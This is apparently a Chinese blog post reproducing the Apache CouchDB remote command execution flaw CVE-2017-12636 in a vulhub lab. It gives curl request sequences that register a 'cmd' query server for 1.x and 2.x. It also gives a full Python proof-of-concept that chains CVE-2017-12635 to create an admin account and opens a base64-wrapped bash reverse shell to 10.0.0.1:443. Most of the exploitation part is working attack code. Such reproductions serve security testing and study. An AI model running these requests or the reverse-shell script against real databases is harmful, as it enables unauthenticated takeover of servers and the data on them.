Couchdb 任意命令执行 (CVE-2017-12636)

0x01漏洞概述

​Apache CouchDB是一个面向文档的开源NoSQL数据库,在Erlang中实现。CouchDB 使用多种格式和协议来存储、传输和处理其数据。它使用JSON来存储数据,使用MapReduce将JavaScript作为其查询语言,并使用HTTP作为API。

​CouchDB 管理用户可以通过 HTTP(S) 配置数据库服务器。一些配置选项包括随后由 CouchDB 启动的操作系统级二进制文件的路径。这允许Apache CouchDB中1.7.0之前的管理员用户和2.1.1之前的2.x中的管理员用户以CouchDB用户的身份执行任意shell命令,包括从公共互联网下载和执行脚本。

​将 CVE-2017-12635 和 CVE-2017-12636 链接起来,以获取未经身份验证的远程命令执行。

0x02影响版本

小于 1.7.0 以及 小于 2.1.1

0x03漏洞环境

1、启动漏洞环境

┌──(root💀kali)-[/home/kali/vulhub/couchdb/CVE-2017-12636]
└─# docker-compose up -d 

2、使用CVE-2017-12635添加管理员用户

管理员账号密码均为vulhub

3、复现完成以后,删除漏洞环境

┌──(root💀kali)-[/home/kali/vulhub/couchdb/CVE-2017-12636]
└─# docker-compose down

0x04复现过程

1、1.X以下的漏洞利用

执行如下请求即可触发任意命令执行

curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'

curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'

curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

其中,vulhub为管理员账号密码。
	第一个请求是添加一个名字为'cmd'的'query_servers',其值为'"id >/tmp/success"',这就是我们后面待执行的命令。

	第二、三个请求是添加一个Database和Document,这里添加了后面才能查询。

	第四个请求就是在这个Database里进行查询,因为我将language设置为'cmd',这里就会用到我第一步里添加的名为'cmd'的'query_servers',最后触发命令执行。

2、2.X以下漏洞利用

​ Couchdb 2.x 引入了集群,浏览器/_membership获取节点列表

curl http://vulhub:vulhub@your-ip:5984/_membership

可见,我们这里只有一个节点,名字是nonode@nohost。 然后,我们修改nonode@nohost的配置:

curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'

然后,与 1.6.0 的利用方式相同,我们先增加了一个数据库和一个文档:

curl -X PUT 'http://vulhub:vulhub@192.168.44.132:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@192.168.44.132:5984/vultest/vul' -d '{"_id": "770895a97726d5ca6d70a22173005c7b"}'

Couchdb 2.x 已移除_temp_view,因此我们需要添加一个view以触发 中定义的命令query_servers:

curl -X PUT http://vulhub:vulhub@192.168.44.132:5984/vultest/_design/vul -d '{"_id":"_design/test", "views":{"woyun":{"map":""} }," language": "cmd"}' -H "Content-Type: application/json"

然后query_servers将执行输入的命令。

3、poc脚本

​ 将脚本中的目标和命令修改为测试目标,然后将版本修改为相应的 Couchdb 版本(1 或 2),并成功获取反向 shell。

github网址:

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

脚本如下:

#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth

target = 'http://your-ip:5984'
command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1"""
version = 1

session = requests.session()
session.headers = {
    'Content-Type': 'application/json'
}
# session.proxies = {
#     'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
  "type": "user",
  "name": "wooyun",
  "roles": ["_admin"],
  "roles": [],
  "password": "wooyun"
}''')

session.auth = HTTPBasicAuth('wooyun', 'wooyun')

command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:
    session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
    host = session.get(target + '/_membership').json()['all_nodes'][0]
    session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))

session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')

if version == 1:
    session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
    session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
posted @ 2022-05-15 12:38  RichardYg  阅读(117)  评论(0编辑  收藏  举报